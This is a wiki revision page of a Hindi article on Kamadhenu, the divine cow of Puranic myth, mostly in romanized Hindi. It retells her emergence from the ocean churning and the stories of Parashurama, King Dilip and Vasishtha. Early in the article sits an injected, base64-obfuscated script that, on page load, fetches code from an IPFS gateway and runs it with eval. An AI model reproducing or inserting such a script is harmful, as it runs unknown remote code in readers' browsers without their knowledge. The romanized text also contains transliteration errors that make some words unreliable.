Difference between revisions of "कामधेनु"
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महर्षि वसिष्ठ क्षमा की प्रतिपूर्ति थे। एक बार श्री [[विश्वामित्र]] उनके अतिथि हुए। महर्षि वसिष्ठ ने कामधेनु के सहयोग से उनका राजोचित सत्कार किया। कामधेनु की अलौकिक क्षमता को देखकर विश्वामित्र के मन में लोभ उत्पन्न हो गया। उन्होंने इस गौ को वसिष्ठ से लेने की इच्छा प्रकट की। कामधेनु वसिष्ठ जी के लिये आवश्यक आवश्यकताओं की पूर्ति हेतु महत्त्वपूर्ण साधन थी, अत: इन्होंने उसे देने में असमर्थता व्यक्त की। विश्वामित्र ने कामधेनु को बलपूर्व ले जाना चाहा। वसिष्ठ जी के संकेत पर कामधेनु ने अपार सेना की सृष्टि कर दी। विश्वामित्र को अपनी सेना के साथ भाग जाने पर विवश होना पड़ा। द्वेष-भावना से प्रेरित होकर विश्वामित्र ने भगवान शंकर की तपस्या की और उनसे दिव्यास्त्र प्राप्त करके उन्होंने महर्षि वसिष्ठ पर पुन: आक्रमण कर दिया, किन्तु महर्षि वसिष्ठ के ब्रह्मदण्ड के सामने उनके सारे दिव्यास्त्र विफल हो गये और उन्हें क्षत्रिय बल को धिक्कार कर ब्राह्मणत्व लाभी के लिये तपस्या हेतु वन जाना पड़ा। | महर्षि वसिष्ठ क्षमा की प्रतिपूर्ति थे। एक बार श्री [[विश्वामित्र]] उनके अतिथि हुए। महर्षि वसिष्ठ ने कामधेनु के सहयोग से उनका राजोचित सत्कार किया। कामधेनु की अलौकिक क्षमता को देखकर विश्वामित्र के मन में लोभ उत्पन्न हो गया। उन्होंने इस गौ को वसिष्ठ से लेने की इच्छा प्रकट की। कामधेनु वसिष्ठ जी के लिये आवश्यक आवश्यकताओं की पूर्ति हेतु महत्त्वपूर्ण साधन थी, अत: इन्होंने उसे देने में असमर्थता व्यक्त की। विश्वामित्र ने कामधेनु को बलपूर्व ले जाना चाहा। वसिष्ठ जी के संकेत पर कामधेनु ने अपार सेना की सृष्टि कर दी। विश्वामित्र को अपनी सेना के साथ भाग जाने पर विवश होना पड़ा। द्वेष-भावना से प्रेरित होकर विश्वामित्र ने भगवान शंकर की तपस्या की और उनसे दिव्यास्त्र प्राप्त करके उन्होंने महर्षि वसिष्ठ पर पुन: आक्रमण कर दिया, किन्तु महर्षि वसिष्ठ के ब्रह्मदण्ड के सामने उनके सारे दिव्यास्त्र विफल हो गये और उन्हें क्षत्रिय बल को धिक्कार कर ब्राह्मणत्व लाभी के लिये तपस्या हेतु वन जाना पड़ा। | ||
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Revision as of 13:13, 3 April 2013
[[chitr:Kamadhenu-And-Brahmin.jpg|thumb|250px|kamadhenu aur brahman
Kamadhenu And Brahmin]]
kamadhenu ka varnan pauranik gathaoan mean ek aisi chamatkari gay ke roop mean milata hai jisamean daiviy shaktiyaan thi aur jisake darshan matr se hi logo ke duahkh v pi da door ho jati thi yah kamadhenu jisake pas hoti thi use har tarah se chamatkarik labh hota tha. usaka doodh amrit ke saman tha.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
krishna katha mean aankit sabhi patr kisi n kisi karanavash shapagrast hokar janme the. kashyap ne varun se kamadhenu maangi thi phir lautayi nahian, at: varun ke shap se ve gvale hue.
jaise devataoan mean bhagavan vishnu, sarovaroan mean samudr, nadiyoan mean ganga, parvatoan mean himalay, bhaktoan mean narad, sabhi puriyoan mean kailash, sampoorn kshetroan mean kedar kshetr shreshth hai, vaise hi goooan mean kamadhenu sarvashreshth hai.
kamadhenu sabaka palan karane vali hai. mata svaroopini haian- sab ichchhaean poorn karane vali hai.
jab bhagavan vishnu svayan kachchhaparoop dharan karake mandarachal ke adhar banean. is prakar manthan karane par kshirasagar se kramash: kalakoot vish, kamadhenu, uchchaishrava namak ashv, airavat hathi, kaustubhramani, kalpavriksh, apsaraean, lakshmi, varuni, chandrama, shankh, shaanrg dhanush dhanavantari aur amrit prakat hue.
kshir-samudr ka manthan
mathe jate hue samudr ke charoan or b de zor ki avaz uth rahi thi. is bar ke manthan se devakaryoan ki siddhi ke liye sakshath surabhi kamadhenu prakat hueean. unhean kale, shvet, pile, hare tatha lal rang ki saik doan gauean ghere hue thian. us samay rrishiyoan ne b de harsh mean bharakar devataoan aur daityoan se kamadhenu ke liye yachana ki aur kaha- 'ap sab log milakar bhinn-bhinn gotravale brahmanoan ko kamadhenu sahit in sampoorn gauoan ka dan avashy karean.' rrishiyoan ke yachana karane par devataoan aur daityoan ne bhagavan shankar ki prasannata ke liye ve sab gauean dan kar dian tatha yajn karmoan mean bhali-bhaanti man ko lagane vale un param mangalamay mahatma rrishiyoan ne un gauoan ka dan svikar kiya. tatpashchat sab log b de josh mean akar kshirasagar ko mathane lage. tab samudr se kalpavriksh, parijat, am ka vriksh aur santan- ye char divy vriksh prakat hue.
katha: shiv dvara divyastr
b de hone par parashuram ne shivaradhan kiya. us niyam ka palan karate hue unhoanne shiv ko prasann kar liya. shiv ne unhean daityoan ka hanan karane ki ajna di. parashuram ne shatruoan se yuddh kiya tatha unaka vadh kiya. kiantu is prakriya mean parashuram ka sharir kshat-vikshat ho gaya. shiv ne prasann hokar kaha ki sharir par jitane prahar hue haian, utana hi adhik devadatv unhean prapt hoga. ve manavetar hote jayeange. taduparant shiv ne parashuram ko anek divyastr pradan kiye, jinamean se parashuram ne karn par prasann hokar use divy dhanurved pradan kiya. thumb|left|gay jamadagni rrishi ne renuka ke garbh se anek putr prapt kie. unamean sabase chhote parashuram the. un dinoan haihayavansh ka adhipati arjun tha. usane vishnu ke aanshavatar dattatrey ke varadan se ek sahasr bhujaean prapt ki thian. ek bar narmada mean snan karate hue madonmatt haihayaraj ne apani baanhoan se nadi ka veg rok liya, phalatah usaki dhara ulti bahane lagi, jisase ravan ka shivir pani mean doobane laga. dashanan ne arjun ke pas jakar use bhala-bura kaha to usane ravan ko pak dakar kaid kar liya. pulasty ke kahane par usane ravan ko mukt kar diya. ek bar vah van mean jamadagni ke ashram par pahuancha. jamadagni ke pas kamadhenu thi. atah ve aparimit vaibhav k bhokta the. aisa dekhakar haihayaraj sahasr bahu arjun ne kamadhenu ka apaharan kar liya. parashuram ne pharasa uthakar usaka pichha kiya tatha yuddh mean usaki samast bhujaean tatha sir kat dale. usake das hazar putr bhayabhit hokar bhag gaye. kamadhenu sahit ashram lautane par pita ne unhean tirthatan kar apane pap dhone ke lie ajna di kyoanki unaki mati mean brahman ka dharm kshamadan hai. parashuram ne vaisa hi kiya.
dilip aanshuman ke putr aur ayodhya ke raja the. dilip b de parakrami the yahaan tak ke devaraj indr ki bhi sahayata karane jate the. inhoanne devasur sangram mean bhag liya tha. vahaan se vijayollas se bhare raja laut rahe the. raste mean kamadhenu kh di mili lekin use dilip ne pranam nahian kiya tab kamadhenu ne shrap de diya ki tum putrahin rahoge. yadi meri santan tumhare oopar kripa kar degi to bhale hi santan ho sakati hai. shri vasishth ji ki kripa se unhoanne nandini gau ki seva karake putr shri raghu ji ko prapt kiya.
vasishth ka atithy grahan
maharshi vasishth kshama ki pratipoorti the. ek bar shri vishvamitr unake atithi hue. maharshi vasishth ne kamadhenu ke sahayog se unaka rajochit satkar kiya. kamadhenu ki alaukik kshamata ko dekhakar vishvamitr ke man mean lobh utpann ho gaya. unhoanne is gau ko vasishth se lene ki ichchha prakat ki. kamadhenu vasishth ji ke liye avashyak avashyakataoan ki poorti hetu mahattvapoorn sadhan thi, at: inhoanne use dene mean asamarthata vyakt ki. vishvamitr ne kamadhenu ko balapoorv le jana chaha. vasishth ji ke sanket par kamadhenu ne apar sena ki srishti kar di. vishvamitr ko apani sena ke sath bhag jane par vivash hona p da. dvesh-bhavana se prerit hokar vishvamitr ne bhagavan shankar ki tapasya ki aur unase divyastr prapt karake unhoanne maharshi vasishth par pun: akraman kar diya, kintu maharshi vasishth ke brahmadand ke samane unake sare divyastr viphal ho gaye aur unhean kshatriy bal ko dhikkar kar brahmanatv labhi ke liye tapasya hetu van jana p da.
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